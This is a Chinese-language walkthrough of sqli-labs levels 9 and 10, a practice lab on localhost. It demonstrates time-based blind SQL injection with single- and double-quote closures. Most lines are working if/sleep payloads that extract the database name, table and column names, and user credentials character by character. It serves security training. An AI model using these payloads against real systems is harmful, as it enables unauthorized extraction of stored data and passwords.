第九关(时间盲注 ' 闭合)
因为这里页面不会给我们回显任何信息(无论是正确还是错误页面都是那样),所以这里我们需要使用时间盲注来进行注入,通过延时请求数据,观察请求的时间是否延长,如果延长了那么就可以使用时间盲注。这里会用 if 和 sleep 进行判断
if(布尔盲注语句, sleep(3),1) // if 判断语句,当布尔盲注语句成立时执行sleep(3),否则执行1。
同样我们先判断数据库长度 ,下面1两张图可以看到当数据库长>7的时候,页面开始延时请求访问,当数据库长度>8的时候,执行的是1,立刻请求访问到了,那么这里就说明我们的数据库长度大于7但是不大于8,所以得出我们的数据库长度为8
127.0.0.1/Less-9/?id=1' and if(length(database())>7, sleep(3),1) --+
得到数据库长度之后,我们就可以接着往下查他的数据库名了
127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),1,1))>117,sleep(3),1) --+
下面两站图得到第一位字符ascii为115 对照ascii码表之后,S
接着查询第二个字符输入100,请求延时,输入110,请求无延时,说明在100-110之间
127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),2,1))>100,sleep(3),1) --+
127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),2,1))>110,sleep(3),1) --+
127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),2,1))>101,sleep(3),1) --+
输入101,无延迟,那么他第二位大于100成立,大于101不成立,所以为101对照ascii码表 E
后面第三位,第四位第五位等等同样是这样查询
第三位
127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),3,1))>100,sleep(3),1) --+
第四位
127.0.0.1/Less-9/?id=1' and if(ascii(substr((database()),4,1))>100,sleep(3),1) --+
得到数据库名security,我们就可以查表名了
查到第一表的首字母为101(E)
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>100,sleep(3),1) --+
第二张表首字母
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100,sleep(3),1) --+
第二张表第二位字母
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))>100,sleep(3),1) --+
得到所有表名后我们开始查users表的内容
第一个字段的内容
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+
第二位字母
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 0,1),2,1))>100,sleep(3),1) --+
第二个字段
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 1,1),1,1))>100,sleep(3),1) --+
当>104请求延时,>105请求无延时,第一个字母为105( i )最后判断第二位,得到id
直到我们查完所有内容(或者我们所需要的内容之后)
得到所以的内容后我们开始查 username 列的内容,以及其他列的内容
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>60,sleep(3),1) --+
第二位字符
127.0.0.1/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),2,1))>60,sleep(3),1) --+
后面也是同样的操作
第十关 ( " 闭合,时间盲注)
这一关和上一关的方法是一样的,只不过闭合方式从 ' 换成了 " 所以这一关我们就不给大家做那么详细了,大家如果遇到了问题可以详细参考第九关的详细教程
我们同样先查库名
?id=1" and if(ascii(substr((database()),1,1))>100,sleep(3),1) --+
查完库名之后我们开始查表名
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+
查完所有表名之后我们开始查user表的列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) --+
查完之后再根据列名查数据
?id=1" and if(ascii(substr((select username from suers limit 0,1),1,1))>60,sleep(3),1)
同样我们可以通过这语句查到其他列,password的数据。